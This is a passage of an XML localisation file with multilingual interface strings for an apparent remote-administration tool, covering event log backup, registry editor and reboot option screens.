<nl>U kunt hieronder ook een naam voor een back-upbestand invoeren zodat het systeem hierin de inhoud van het logboek kan opslaan voordat dit wordt gewist.</nl>
</msg>
<msg name="BACKUP.EXPLAIN">
<en>Event log files are typically saved with the .EVT extension.</en>
<es>Los archivos de registro de sucesos se suelen guardar con la extensión .EVT.</es>
<de>Ereignisprotokolldateien haben in der Regel die Dateierweiterung .EVT.</de>
<fr>Les fichiers journaux d'événements sont en général enregistrés avec l'extension .EVT.</fr>
<it>I file di registro eventi vengono generalmente salvati con l'estensione .EVT.</it>
<ru>Обычно файлы журналов событий сохраняются с расширением EVT.</ru>
<ja>イベント ログ ファイルは、一般に、.EVT の拡張子が付いて保存されます。</ja>
<zh>事件日志文件通常保存为扩展名为 .EVT 的文件。</zh>
<ko>일반적으로 이벤트 로그 파일은 .EVT 확장자로 저장됩니다.</ko>
<en-gb>Event log files are typically saved with the .EVT extension.</en-gb>
<hu>Az eseménynapló-fájlok általában .EVT kiterjesztéssel mentődnek.</hu>
<pt-br>Arquivos do log de arquivo normalmente são salvos com a extensão .EVT.</pt-br>
<nl>Gebeurtenislogboekbestanden worden doorgaans opgeslagen met de bestandsnaamextensie .EVT.</nl>
</msg>
</cat>
<!-- "registry editor" screen messages -->
<cat name="REGISTRY">
<msg name="TITLE">
<en>Registry Editor</en>
<de>Registrierungseditor</de>
<es>Editor de registro</es>
<fr>Editeur de base de registre</fr>
<it>Editor del Registro di sistema</it>
<ru>Редактор реестра</ru>
<ja>レジストリ エディタ</ja>
<zh>注册表编辑器</zh>
<ko>레지스트리 편집기</ko>
<en-gb>Registry Editor</en-gb>
<hu>Registry-szerkesztő</hu>
<pt-br>Editor do Registro</pt-br>
<nl>Register-editor</nl>
</msg>
<msg name="NEWKEY">
<en>Create new key</en>
<de>Neuen Schlüssel erstellen</de>
<es>Crear nueva contraseña</es>
<fr>Créer une nouvelle clé</fr>
<it>Crea nuova chiave</it>
<ru>Создать новый раздел</ru>
<ja>新しいキーの作成</ja>
<zh>创建新项</zh>
<ko>새 키 만들기</ko>
<en-gb>Create new key</en-gb>
<hu>Új kulcs létrehozása</hu>
<pt-br>Criar nova chave</pt-br>
<nl>Nieuwe sleutel maken</nl>
</msg>
<msg name="NEWVAL">
<en>Create new value</en>
<de>Neuen Wert erstellen</de>
<es>Crear nuevo valor</es>
<fr>Créer une nouvelle valeur</fr>
<it>Crea nuovo valore</it>
<ru>Создать новое значение</ru>
<ja>新しい値の作成</ja>
<zh>创建新值</zh>
<ko>새 값 만들기</ko>
<en-gb>Create new value</en-gb>
<hu>Új érték létrehozása</hu>
<pt-br>Criar novo valor</pt-br>
<nl>Nieuwe sleutelwaarde maken</nl>
</msg>
<msg name="SUREDELETEKEY">
<en>Are you sure you want to delete this key?</en>
<es>¿Está seguro de querer eliminar esta contraseña?</es>
<fr>Êtes-vous sûr vous de vouloir supprimer cette clé et toutes ses sous-clés?</fr>
<de>Möchten Sie diesen Schlüssel wirklich löschen?</de>
<it>Eliminare questa chiave?</it>
<ru>Удалить этот раздел?</ru>
<ja>このキーを削除しますか?</ja>
<zh>是否确实要删除此项?</zh>
<ko>이 키를 삭제하시겠습니까?"</ko>
<en-gb>Are you sure you want to delete this key?</en-gb>
<hu>Biztosan törölni szeretné ezt a kulcsot?</hu>
<pt-br>Tem certeza de que deseja excluir esta chave?</pt-br>
<nl>Weet u zeker dat u deze sleutel wilt verwijderen?</nl>
</msg>
<msg name="SUREDELETE">
<en>Are you sure you want to delete this item?</en>
<de>Sind Sie sicher, dass Sie dieses Element löschen wollen?</de>
<es>¿Está seguro de que desea eliminar estos elementos?</es>
<fr>Êtes-vous sûr de vouloir supprimer cet élément?</fr>
<it>Eliminare questa voce?</it>
<ru>Удалить этот элемент?</ru>
<ja>この項目を削除しますか?</ja>
<zh>是否确实要删除此项目?</zh>
<ko>이 항목을 삭제하시겠습니까?"</ko>
<en-gb>Are you sure you want to delete this item?</en-gb>
<hu>Biztosan törölni szeretné ezt az elemet?</hu>
<pt-br>Tem certeza de que deseja excluir este item?</pt-br>
<nl>Weet u zeker dat u dit item wilt verwijderen?</nl>
</msg>
<msg name="LOADING">
<en>Loading...</en>
<de>Laden .....</de>
<es>Cargando...</es>
<fr>Chargement....</fr>
<it>Caricamento...</it>
<ru>Загрузка...</ru>
<ja>ロード中...</ja>
<zh>正在加载...</zh>
<ko>로드 중...</ko>
<en-gb>Loading...</en-gb>
<hu>Betöltés...</hu>
<pt-br>Carregando...</pt-br>
<nl>Bezig met laden...</nl>
</msg>
<msg name="ERROR">
<en>Error loading %1%</en>
<de>Fehler beim Laden von %1%</de>
<es>Error al cargar %1%</es>
<fr>Erreur de chargement %1%</fr>
<it>Errore durante il caricamento di %1%</it>
<ru>Ошибка загрузки %1%</ru>
<ja>%1% のロード中にエラーが発生しました</ja>
<zh>加载 %1% 时出错</zh>
<ko>%1% 로드 오류</ko>
<en-gb>Error loading %1%</en-gb>
<hu>Hiba a(z) %1% betöltése során</hu>
<pt-br>Erro ao carregar %1%</pt-br>
<nl>Fout bij het laden van %1%</nl>
</msg>
</cat>
<!-- "reboot" screen messages -->
<cat name="REBOOT">
<msg name="TITLE">
<en>Reboot Options</en>
<de>Neustartoptionen</de>
<es>Opciones de reinicio</es>
<fr>Options de redémarrage</fr>
<it>Opzioni di riavvio</it>
<ru>Параметры перезагрузки</ru>
<ja>リブート オプション</ja>
<zh>重新引导选项</zh>
<ko>재부팅 옵션</ko>
<en-gb>Reboot Options</en-gb>
<hu>Újraindítási lehetőségek</hu>
<pt-br>Opções de reinicialização</pt-br>
<nl>Opties voor opnieuw opstarten</nl>
</msg>
<msg name="TITLE.LMIPRO">
<en>Reboot Options</en>
<de>Neustartoptionen</de>
<es>Opciones de reinicio</es>
<fr>Options de redémarrage</fr>
<it>Opzioni di riavvio</it>
<ru>Параметры перезагрузки</ru>
<ja>リブート オプション</ja>
<zh>重新引导选项</zh>
<ko>재부팅 옵션</ko>
<en-gb>Reboot Options</en-gb>
<hu>Újraindítási lehetőségek</hu>
<pt-br>Opções de reinicialização</pt-br>
<nl>Opties voor opnieuw opstarten</nl>
</msg>
<msg name="NOCONFIRM">
<en>WARNING! You will not be prompted for confirmation!</en>
<de>WARNUNG! Sie erhalten nachfolgend keine Aufforderung mehr, den Auftrag zur Ausführung zu bestätigen.</de>
<es>¡AVISO! No se le pedirá confirmación.</es>
<fr>AVERTISSEMENT ! Aucun message de confirmation vous sera demandé !</fr>
<it>AVVISO! La conferma non verrà richiesta.</it>
<ru>ПРЕДУПРЕЖДЕНИЕ! Подтверждение не запрашивается!</ru>
<ja>警告!確認を求めるメッセージが表示されなくなります。</ja>
<zh>警告!系统将不提示您进行确认!</zh>
<ko>경고! 다시 확인하지 않습니다!</ko>
<en-gb>WARNING! You will not be prompted for confirmation!</en-gb>
<hu>FIGYELEM! Nem fog felszólítást kapni a megerősítésre!</hu>
<pt-br>AVISO! Não será solicitada confirmação!</pt-br>
<nl>WAARSCHUWING! U wordt verder niet meer om een bevestiging gevraagd!</nl>
</msg>
<msg name="RESTARTTITLE">
<en>Restart %PRODUCTNAME</en>
<de>%PRODUCTNAME Neustart</de>
<es>Reiniciar %PRODUCTNAME</es>
<fr>Redémarrer %PRODUCTNAME</fr>
<it>Riavvia %PRODUCTNAME</it>
<ru>Перезапустить %PRODUCTNAME</ru>
<ja>%PRODUCTNAME の再起動</ja>
<zh>重新启动 %PRODUCTNAME</zh>
<ko>%PRODUCTNAME 다시 시작</ko>
<en-gb>Restart %PRODUCTNAME</en-gb>
<hu>%PRODUCTNAME újraindítása</hu>
<pt-br>Reiniciar %PRODUCTNAME</pt-br>
<nl>%PRODUCTNAME opnieuw starten</nl>
</msg>
<msg name="RESTART">
<en>Restarts the %PRODUCTNAME service. Does not reboot the remote machine.</en>
<de>Startet den %PRODUCTNAME Dienst neu. Der fernadministrierte PC wird nicht neu gestartet.</de>
<es>Reiniciar el servicio de %PRODUCTNAME. No reinicia el ordenador remoto.</es>
<fr>Redémarre le service de %PRODUCTNAME. Ne redémarre pas la machine distante.</fr>
<it>Riavvia il servizio %PRODUCTNAME. Non riavviare il computer remoto.</it>
<ru>Перезапустить службу %PRODUCTNAME. Удаленный компьютер не перезапускается.</ru>
<ja>%PRODUCTNAME サービスを再起動します。リモート マシンはリブートしません。</ja>
<zh>重新启动 %PRODUCTNAME 服务。不会重新引导远程计算机。</zh>
<ko>%PRODUCTNAME 서비스를 다시 시작합니다. 원격 컴퓨터를 다시 부팅하지 않습니다.</ko>
<en-gb>Restarts the %PRODUCTNAME service. Does not reboot the remote machine.</en-gb>
<hu>Újraindítja a %PRODUCTNAME szolgáltatást. Nem indítja újra a gépet.</hu>
<pt-br>Reinicia o serviço %PRODUCTNAME. Não reinicialize a máquina remota.</pt-br>
<nl>Hiermee wordt de %PRODUCTNAME-service opnieuw gestart. De externe computer wordt niet opnieuw opgestart.</nl>
</msg>
<msg name="NORMALTITLE">
<en>Normal Reboot</en>
<de>Normaler Neustart</de>
<es>Reinicio normal</es>
<fr>Redémarrage Normal</fr>
<it>Riavvio normale</it>
<ru>Обычная перезагрузка</ru>
<ja>通常リブート</ja>
<zh>正常重新引导</zh>
<ko>정상 재부팅</ko>
<en-gb>Normal Reboot</en-gb>
<hu>Normál újraindítás</hu>
<pt-br>Reinicialização normal</pt-br>
<nl>Opnieuw opstarten in normale modus</nl>
</msg>
<msg name="NORMAL">
<en>Closes all processes and reboots the remote machine in an orderly fashion.</en>
<fr>Ferme tous les processus et redémarre la machine distante proprement.</fr>
<es>Cierra todos los procesos y reinicia el ordenador remoto de manera ordenada.</es>
<de>Beendet alle Prozesse und führt einen ordnungsgemäßen Neustart des Ferncomputers durch.</de>
<it>Chiude tutti i processi e riavvia il computer remoto in modo ordinato.</it>
<nl>Hiermee worden alle processen beëindigd en wordt de externe computer opnieuw opgestart in de correcte modus.</nl>
<pt-br>Fecha todos os processos e reinicializa a máquina remota de uma forma ordenada.</pt-br>
<zh>按顺序关闭所有进程并重新引导远程计算机。</zh>
<ru>Закрываются все процессы, и упорядочено перезапускается удаленный компьютер.</ru>
<ja>順序通りにすべてのプロセスを終了し、リモート マシンをリブートします。</ja>
<ko>모든 프로세스를 닫은 후 원격 컴퓨터를 다시 부팅합니다.</ko>
<hu>Bezárja az összes folyamatot és a szokásos módon újraindítja a távoli gépet.</hu>
<en-gb>Closes all processes and reboots the remote machine in an orderly fashion.</en-gb>
</msg>
<msg name="EMERGENCYTITLE">
<en>Emergency Reboot</en>
<de>Notfall Neustart</de>
<es>Reinicio de emergencia</es>
<fr>Redémarrage d'urgence</fr>
<it>Riavvio di emergenza</it>
<ru>Аварийная перезагрузка</ru>
<ja>緊急リブート</ja>
<zh>紧急重新引导</zh>
<ko>긴급 재부팅</ko>
<en-gb>Emergency Reboot</en-gb>
<hu>Vészhelyzeti újraindítás</hu>
<pt-br>Reinicialização de emergência</pt-br>
<nl>Opnieuw opstarten in de modus voor noodherstel</nl>
</msg>
<msg name="EMERGENCY">
<en>Does not allow applications and other processes to terminate gracefully, so
you might lose unsaved data. Windows will, however, shut down nicely and flush
all outstanding file operations to disk.</en>
<de>Anwendungen und andere Prozesse können nicht ordentlich beendet werden.
Damit riskieren Sie den Verlust von Daten, die noch nicht ordentlich gesichert
wurden. Dessen ungeachtet wird das Betriebssystem ordentlich beendet und alle
zwischengespeicherten Dateipuffer werden ordnungsgemäß auf die Datenträger
zurückgeschrieben.</de>
<es>No permite que las aplicaciones ni otros procesos finalicen correctamente,
por lo que podría perder la información que no haya guardado. No obstante, Windows se cerrará correctamente y enviará
al disco todos los archivos de operaciones importantes.</es>
<fr>Ne permet pas aux applications et aux autres processus de se terminer proprement,
c'est pourquoi vous risquez de perdre des données non sauvegardées.
Cependant Windows s'arrêtera et videra l'antémémoire correctement.</fr>
<it>Le applicazioni e gli altri processi in corso non vengono terminati in modo appropriato ed è possibile perdere i dati non salvati. Windows, invece, consente lo scaricamento sul disco di tutte le operazioni di file in sospeso.</it>
<ru>Не разрешает приложениям и другим процессам постепенно завершить работу, поэтому возможна потеря несохраненных данных. Однако операционная система завершает работу корректно, сохраняя на диске все важные файлы.</ru>
<ja>アプリケーションおよび他のプロセスは順序立てて終了されません。したがって、保存されていないデータは失われる場合があります。ただし、Windows は順調にシャット ダウンし、重要なファイル操作はすべてディスクに保存されます。</ja>
<zh>不允许应用程序和其他进程正常终止,因此您可能丢失未保存的数据。但是 Windows 将正常关闭,并将所有未完成的文件操作刷新至磁盘。</zh>
<ko>응용 프로그램 및 다른 프로세스를 올바르게 종료하지 않으면 저장되지 않은 데이터가 손실될 수 있습니다. 그러나 Windows가 제대로 종료되면 모든 파일 작업을 디스크에 플러시합니다.</ko>
<en-gb>Does not allow applications and other processes to terminate gracefully, so you might lose unsaved data. Windows will, however, shut down nicely and flush all outstanding file operations to disk.</en-gb>
<hu>Nem engedélyezi az alkalmazások és más folyamatok sikeres lezárását, így
az el nem mentett adatok elveszhetnek. A Windows azonban szépen leáll és kiürít 
minden fennmaradó fájlműveletet a lemezre.</hu>
<pt-br>Não permite que os aplicativos e outros processos sejam encerrados adequadamente, portanto
você pode perder dados que não tenham sido salvos. Entretanto, o Windows será desligado harmoniosamente e tratará de
todas as operações de arquivo pendentes do disco.</pt-br>
<nl>Met deze optie worden toepassingen en andere processen zonder tussenkomst beëindigd, zodat uw niet-opgeslagen gegevens mogelijk verloren zullen gaan. Windows wordt echter correct afgesloten en alle openstaande acties voor het wegschrijven van bestanden naar het schijfstation worden afgehandeld.</nl>
</msg>
<msg os="macosx" name="EMERGENCY">
<en>Does not allow applications and other processes to terminate gracefully, so
you might lose unsaved data. The Mac will, however, shut down nicely and flush
all outstanding file operations to disk.</en>
<de>Anwendungen und andere Prozesse können nicht ordentlich beendet werden.
Damit riskieren Sie den Verlust von Daten, die noch nicht ordentlich gesichert
wurden. Dessen ungeachtet wird das Betriebssystem ordentlich beendet und alle
zwischengespeicherten Dateipuffer werden ordnungsgemäß auf die Datenträger
zurückgeschrieben.</de>
<es>No permite que las aplicaciones ni otros procesos finalicen correctamente,
por lo que podría perder la información que no haya guardado. No obstante, Mac se cerrará correctamente y enviará
al disco todos los archivos de operaciones importantes.</es>
<fr>Ne permet pas aux applications et aux autres processus de se terminer proprement,
c'est pourquoi vous risquez de perdre des données non sauvegardées.
Cependant Mac s'arrêtera et videra l'antémémoire correctement.</fr>
<it>Le applicazioni e gli altri processi in corso non vengono terminati in modo appropriato ed è possibile perdere i dati non salvati. Mac, invece, consente lo scaricamento sul disco di tutte le operazioni di file in sospeso.</it>
<ru>Не разрешает приложениям и другим процессам постепенно завершить работу, поэтому возможна потеря несохраненных данных. Однако операционная система завершает работу корректно, сохраняя на диске все важные файлы.</ru>
<ja>アプリケーションおよび他のプロセスは順序立てて終了されません。したがって、保存されていないデータは失われる場合があります。ただし、Windows は順調にシャット ダウンし、重要なファイル操作はすべてディスクに保存されます。</ja>
<zh>不允许应用程序和其他进程正常终止,因此您可能丢失未保存的数据。但是 Mac 将正常关闭,并将所有未完成的文件操作刷新至磁盘。</zh>
<ko>응용 프로그램 및 다른 프로세스를 올바르게 종료하지 않으면 저장되지 않은 데이터가 손실될 수 있습니다. 그러나 Windows가 제대로 종료되면 모든 파일 작업을 디스크에 플러시합니다.</ko>
<en-gb>Does not allow applications and other processes to terminate gracefully, so you might lose unsaved data. Mac will, however, shut down nicely and flush all outstanding file operations to disk.</en-gb>
<hu>Nem engedélyezi az alkalmazások és más folyamatok sikeres lezárását, így
az el nem mentett adatok elveszhetnek. A Mac azonban szépen leáll és kiürít 
minden fennmaradó fájlműveletet a lemezre.</hu>
<pt-br>Não permite que os aplicativos e outros processos sejam encerrados adequadamente, portanto
você pode perder dados que não tenham sido salvos. Entretanto, o Windows será desligado harmoniosamente e tratará de
todas as operações de arquivo pendentes do disco.</pt-br>
<nl>Met deze optie worden toepassingen en andere processen zonder tussenkomst beëindigd, zodat uw niet-opgeslagen gegevens mogelijk verloren zullen gaan. Windows wordt echter correct afgesloten en alle openstaande acties voor het wegschrijven van bestanden naar het schijfstation worden afgehandeld.</nl>
</msg>
<msg name="HARDTITLE">
<en>Hard Reboot</en>
<de>Harter Neustart</de>
<es>Reinicio brusco</es>
<fr>Redémarrage Matériel (Hard Reboot)</fr>
<it>Riavvio fisico</it>
<ru>Жесткая перезагрузка</ru>
<ja>ハード リブート</ja>
<zh>硬重新引导</zh>
<ko>수동 재부팅</ko>
<en-gb>Hard Reboot</en-gb>
<hu>Hardveres újraindítás</hu>
<pt-br>Reinicialização fria</pt-br>
<nl>Gedwongen opnieuw opstarten</nl>
</msg>
<msg name="HARD">
<en>Reboots as quickly as possible. This option will not allow Windows to terminate
gracefully, so you might lose unsaved data. Since rebooting is immediate (just
like pressing the reset button) you will not receive any sort of feedback from
%PRODUCTNAME when clicking this button.</en>
<de>Schnellstmöglicher Neustart. Windows kann in diesem Fall nicht mehr ordnungsgemäß
beendet werden. Mit der Ausführung dieser Option nehmen Sie Datenverluste und
Beschädigungen des Dateisystems in Kauf. Da die Anweisung unmittelbar ausgeführt
wird, erhalten Sie keinerlei Rückmeldung mehr (als wenn Sie den RESET Schalter
drücken). Die Sitzung ist sofort unterbrochen.</de>
<es>Reinicia lo más rápido posible. Esta opción no permite que Windows se cierre
correctamente, por lo que podría perder la información que no haya guardado. Dado que el reinicio es inmediato (sólo
con pulsar el botón de reinicio) no recibirá ningún tipo de comentarios de
%PRODUCTNAME al hacer clic en este botón.</es>
<fr>Redémarrer aussi vite que possible. Cette option ne permettra pas à Windows de se terminer
proprement, et vous pourriez perdre des données non sauvegardées.
En redémarrerant immédiatement (juste en pressant sur le bouton
reset de votre ordinateur) vous ne recevrez aucun feedback de %PRODUCTNAME.</fr>
<it>Esegue il riavvio il più rapidamente possibile. Windows non viene terminato in modo appropriato ed è possibile perdere i dati non salvati. Poiché il riavvio è immediato (proprio come premere il pulsante di reset), quando si fa clic su questo pulsante l'utente non riceve alcun tipo di feedback da %PRODUCTNAME.</it>
<ru>Перезагрузка выполняется максимально быстро. Использование этого варианта не позволяет операционной системе Windows корректно завершить работу, что может привести к потере несохраненных данных. Так как перезагрузка выполняется немедленно (сразу после нажатия кнопки перезапуска), то после нажатия этой кнопки приложение %PRODUCTNAME не выводит на экран никаких сообщений с комментариями.</ru>
<ja>可能な限り高速でリブートします。このオプションでは、Windows は順序立てて終了されません。したがって、保存されていないデータは失われる場合があります。リセットボタンを押したときのように即時にリブートするため、このボタンをクリックした場合に受け取る %PRODUCTNAME からのフィードバックは何もありません。</ja>
<zh>尽可能快地重新引导。此选项不允许 Windows 正常终止,因此您可能丢失未保存的数据。单击此按钮将立即重新引导(跟按重启动按钮一样),因此您不会从 %PRODUCTNAME 收到任何反馈。</zh>
<ko>가능한 한 빨리 재부팅합니다. 이 옵션을 선택하면 Windows가 제대로 종료되지 않으므로 저장하지 않은 데이터가 손실될 수 있습니다. 재부팅은 재설정 버튼을 누르는 것처럼 즉시 수행되므로 이 버튼을 눌러도 %PRODUCTNAME에서 어떤 종류의 피드백도 수신되지 않습니다.</ko>
<en-gb>Reboots as quickly as possible. This option will not allow Windows to terminate gracefully, so you might lose unsaved data. Since rebooting is immediate (just like pressing the reset button) you will not receive any sort of feedback from %PRODUCTNAME when clicking this button.</en-gb>
<hu>A lehető leggyorsabban újraindul. Ez a lehetőség nem engedélyezi a Windows sikeres
leállását, így az el nem mentett adatok elveszhetnek. Mivel az újraindítás azonnali (mintha
a Reset gombot nyomták volna meg), ha erre a gombra kattint, nem fog semmilyen visszajelzést kapni 
a %PRODUCTNAME terméktől.</hu>
<pt-br>Reinicializa o mais rapidamente possível. Esta opção não permitirá que o Windows seja encerrado
Harmoniosamente, portanto você pode perder dados que não tenham sido salvos. Como a reinicialização é imediata (pressionando
o botão reset), você não receberá nenhum tipo de feedback 
do %PRODUCTNAME ao clicar neste botão.</pt-br>
<nl>Met deze optie wordt het systeem zo snel mogelijk opnieuw opgestart. Met deze optie wordt Windows zonder tussenkomst afgesloten, zodat uw niet-opgeslagen gegevens mogelijk verloren zullen gaan. Omdat het opnieuw opstarten onmiddellijk wordt uitgevoerd (alsof u op de Reset-knop hebt gedrukt), verschijnt geen feedback van %PRODUCTNAME op het scherm wanneer u op deze knop klikt.</nl>
</msg>
<msg os="macosx" name="HARD">
<en>Reboots as quickly as possible. This option will not allow the Mac to terminate
gracefully, so you might lose unsaved data. Since rebooting is immediate (just
like pressing the reset button) you will not receive any sort of feedback from
%PRODUCTNAME when clicking this button.</en>
<de>Schnellstmöglicher Neustart. Mac kann in diesem Fall nicht mehr ordnungsgemäß
beendet werden. Mit der Ausführung dieser Option nehmen Sie Datenverluste und
Beschädigungen des Dateisystems in Kauf. Da die Anweisung unmittelbar ausgeführt
wird, erhalten Sie keinerlei Rückmeldung mehr (als wenn Sie den RESET Schalter
drücken). Die Sitzung ist sofort unterbrochen.</de>
<es>Reinicia lo más rápido posible. Esta opción no permite que Mac se cierre
correctamente, por lo que podría perder la información que no haya guardado. Dado que el reinicio es inmediato (sólo
con pulsar el botón de reinicio) no recibirá ningún tipo de comentarios de
%PRODUCTNAME al hacer clic en este botón.</es>
<fr>Redémarrer aussi vite que possible. Cette option ne permettra pas à Mac de se terminer
proprement, et vous pourriez perdre des données non sauvegardées.
En redémarrerant immédiatement (juste en pressant sur le bouton
reset de votre ordinateur) vous ne recevrez aucun feedback de %PRODUCTNAME.</fr>
<it>Esegue il riavvio il più rapidamente possibile. Mac non viene terminato in modo appropriato ed è possibile perdere i dati non salvati. Poiché il riavvio è immediato (proprio come premere il pulsante di reset), quando si fa clic su questo pulsante l'utente non riceve alcun tipo di feedback da %PRODUCTNAME.</it>
<ru>Перезагрузка выполняется максимально быстро. Использование этого варианта не позволяет операционной системе Mac корректно завершить работу, что может привести к потере несохраненных данных. Так как перезагрузка выполняется немедленно (сразу после нажатия кнопки перезапуска), то после нажатия этой кнопки приложение %PRODUCTNAME не выводит на экран никаких сообщений с комментариями.</ru>
<ja>可能な限り高速でリブートします。このオプションでは、 Mac は順序立てて終了されません。したがって、保存されていないデータは失われる場合があります。リセットボタンを押したときのように即時にリブートするため、このボタンをクリックした場合に受け取る %PRODUCTNAME からのフィードバックは何もありません。</ja>
<zh>尽可能快地重新引导。此选项不允许 Mac 正常终止,因此您可能丢失未保存的数据。单击此按钮将立即重新引导(跟按重启动按钮一样),因此您不会从 %PRODUCTNAME 收到任何反馈。</zh>
<ko>가능한 한 빨리 재부팅합니다. 이 옵션을 선택하면 Mac가 제대로 종료되지 않으므로 저장하지 않은 데이터가 손실될 수 있습니다. 재부팅은 재설정 버튼을 누르는 것처럼 즉시 수행되므로 이 버튼을 눌러도 %PRODUCTNAME에서 어떤 종류의 피드백도 수신되지 않습니다.</ko>
<en-gb>Reboots as quickly as possible. This option will not allow Mac to terminate gracefully, so you might lose unsaved data. Since rebooting is immediate (just like pressing the reset button) you will not receive any sort of feedback from %PRODUCTNAME when clicking this button.</en-gb>
<hu>A lehető leggyorsabban újraindul. Ez a lehetőség nem engedélyezi a Mac sikeres
leállását, így az el nem mentett adatok elveszhetnek. Mivel az újraindítás azonnali (mintha
a Reset gombot nyomták volna meg), ha erre a gombra kattint, nem fog semmilyen visszajelzést kapni 
a %PRODUCTNAME terméktől.</hu>
<pt-br>Reinicializa o mais rapidamente possível. Esta opção não permitirá que o Mac seja encerrado
Harmoniosamente, portanto você pode perder dados que não tenham sido salvos. Como a reinicialização é imediata (como
o pressionamento do botão reset), você não receberá nenhum tipo de feedback 
do %PRODUCTNAME ao clicar neste botão.</pt-br>
<nl>Met deze optie wordt het systeem zo snel mogelijk opnieuw opgestart. Met deze optie wordt Mac zonder tussenkomst afgesloten, zodat uw niet-opgeslagen gegevens mogelijk verloren zullen gaan. Omdat het opnieuw opstarten onmiddellijk wordt uitgevoerd (alsof u op de Reset-knop hebt gedrukt), verschijnt geen feedback van %PRODUCTNAME op het scherm wanneer u op deze knop klikt.</nl>
</msg>
<msg name="SAFETITLE">
<en>Safe-mode Reboot</en>
<es>Reiniciar en Modo a prueba de errores</es>
<de>Start im abgesicherten Modus</de>
<fr>Redémarrage en mode sans échec</fr>
<it>Riavvio in modalità provvisoria</it>
<ru>Перезапуск в безопасном режиме</ru>
<ja>セーフ モード リブート</ja>
<zh>安全模式重新引导</zh>
<ko>안전 모드 재부팅</ko>
<en-gb>Safe-mode Reboot</en-gb>
<hu>Újraindítás csökkentett módban</hu>
<pt-br>Reinicialização em modo de segurança</pt-br>
<nl>Opnieuw opstarten in veilige modus</nl>
</msg>
<msg name="SAFE">
<en>Restart the computer in safe-mode with networking (and %PRODUCTNAME) enabled. Safe-mode is a special way for Windows to load when there is a system-critical
problem that interferes with the normal operation of Windows.</en>
<es>Reinicie el ordenador en modo seguro con trabajo en red habilitado. El Modo a prueba de errores de Windows es un modo de software que permite a los usuarios de Windows 
entrar de forma segura en Windows y corregir los problemas que podrían estar impidiendo entrar en modo 
normal.</es>
<de>Starten Sie Ihren Computer im sicheren Modus mit aktiviertem Netzwerk neu. Sie können Windows im abgesicherten Modus laden, wenn ein Systemproblem vorliegt, bei dem Windows im Normalbetrieb nicht ausgeführt werden kann.</de>
<fr>Redémarrez l'ordinateur en mode sans échec, le réseau étant accessible. Le mode sans échec permet un chargement spécial de Windows en cas de problème critique du système qui interfère avec le fonctionnement normal de Windows.</fr>
<it>Riavvia il computer in modalità provvisoria con le funzioni di rete attivate. La modalità provvisoria è una modalità di caricamento di Windows particolare che può essere utilizzata quando si verifica un problema critico per il sistema che interferisce con il normale funzionamento di Windows.</it>
<ru>Перезапустите компьютер в безопасном режиме с поддержкой сети. Безопасный режим - это специальный способ загрузки Windows на случай возникновения критической для системы проблемы, мешающей нормальному функционированию операционной системы.</ru>
<ja>ネットワークを有効にし、セーフ モードでコンピュータを再起動します。セーフ モードは、Windows の通常の操作を妨げるシステム クリティカルな問題がある場合にロードするWindows の特別な方法です。</ja>
<zh>在启用网络的情况下,以安全模式重新启动计算机。安全模式是在系统出现影响 Windows 正常操作的严重问题时,Windows 的特殊加载方式。</zh>
<ko>네트워크로 연결된 컴퓨터를 안전 모드에서 다시 시작합니다. 안전 모드는 Windows의 정상적인 작업을 방해하는 중대한 시스템 관련 문제가 있을 경우 Windows를 로드하는 특별한 방법입니다.</ko>
<en-gb>Restart the computer in safe-mode with networking enabled. Safe-mode is a special way for Windows to load when there is a system-critical problem that interferes with the normal operation of Windows.</en-gb>
<hu>A számítógép újraindítása csökkentett módban, hálózattal. A csökkentett mód a Windows indulásának speciális módja, ha súlyos rendszerprobléma
lépett fel, amely a Windows normál működését veszélyezteti.</hu>
<pt-br>Reinicie o computador no modo de segurança com a rede habilitada. O modo de segurança é uma forma especial do Windows carregar quando há um problema
crítico no sistema que interfere na operação normal do Windows.</pt-br>
<nl>Met deze optie wordt de computer opnieuw opgestart in de veilige modus en zijn de netwerkverbindingen ingeschakeld. De veilige modus is een speciale manier om Windows te laden en op te starten wanneer er een kritiek systeemprobleem is opgetreden dat de normale werking van Windows verstoort.</nl>
</msg>
<msg os="macosx" name="SAFE">
<en>Restart the computer in safe-mode with networking enabled. Safe-mode is a special way for the Mac to load when there is a system-critical
problem that interferes with the normal operation of the Mac.</en>
<es>Reinicie el ordenador en modo seguro con trabajo en red habilitado. El Modo a prueba de errores de Mac es un modo de software que permite a los usuarios de Mac 
entrar de forma segura en Mac y corregir los problemas que podrían estar impidiendo entrar en modo 
normal.</es>
<de>Starten Sie Ihren Computer im sicheren Modus mit aktiviertem Netzwerk neu. Sie können Mac im abgesicherten Modus laden, wenn ein Systemproblem vorliegt, bei dem Mac im Normalbetrieb nicht ausgeführt werden kann.</de>
<fr>Redémarrez l'ordinateur en mode sans échec, le réseau étant accessible. Le mode sans échec permet un chargement spécial de Mac en cas de problème critique du système qui interfère avec le fonctionnement normal de Mac.</fr>
<it>Riavvia il computer in modalità provvisoria con le funzioni di rete attivate. La modalità provvisoria è una modalità di caricamento di Mac particolare che può essere utilizzata quando si verifica un problema critico per il sistema che interferisce con il normale funzionamento di Mac.</it>
<ru>Перезапустите компьютер в безопасном режиме с поддержкой сети. Безопасный режим - это специальный способ загрузки Mac на случай возникновения критической для системы проблемы, мешающей нормальному функционированию операционной системы.</ru>
<ja>ネットワークを有効にし、セーフ モードでコンピュータを再起動します。セーフ モードは、Windows の通常の操作を妨げるシステム クリティカルな問題がある場合にロードするWindows の特別な方法です。</ja>
<zh>在启用网络的情况下,以安全模式重新启动计算机。安全模式是在系统出现影响 Mac 正常操作的严重问题时,Windows 的特殊加载方式。</zh>
<ko>네트워크로 연결된 컴퓨터를 안전 모드에서 다시 시작합니다. 안전 모드는 Windows의 정상적인 작업을 방해하는 중대한 시스템 관련 문제가 있을 경우 Windows를 로드하는 특별한 방법입니다.</ko>
<en-gb>Restart the computer in safe-mode with networking enabled. Safe-mode is a special way for Mac to load when there is a system-critical problem that interferes with the normal operation of Mac.</en-gb>
<hu>A számítógép újraindítása csökkentett módban, hálózattal. A csökkentett mód a Mac indulásának speciális módja, ha súlyos rendszerprobléma
lépett fel, amely a Mac normál működését veszélyezteti.</hu>
<pt-br>Reinicie o computador no modo de segurança com a rede habilitada. O modo de segurança é uma forma especial do Mac carregar quando há um problema
crítico no sistema que interfere na operação normal do Mac.</pt-br>
<nl>Met deze optie wordt de computer opnieuw opgestart in de veilige modus en zijn de netwerkverbindingen ingeschakeld. De veilige modus is een speciale manier om Mac te laden en op te starten wanneer er een kritiek systeemprobleem is opgetreden dat de normale werking van Mac verstoort.</nl>
</msg>
<msg name="AUTOLOGINOPTION">
<en>Specify credentials to automatically login on the host after rebooting.</en>
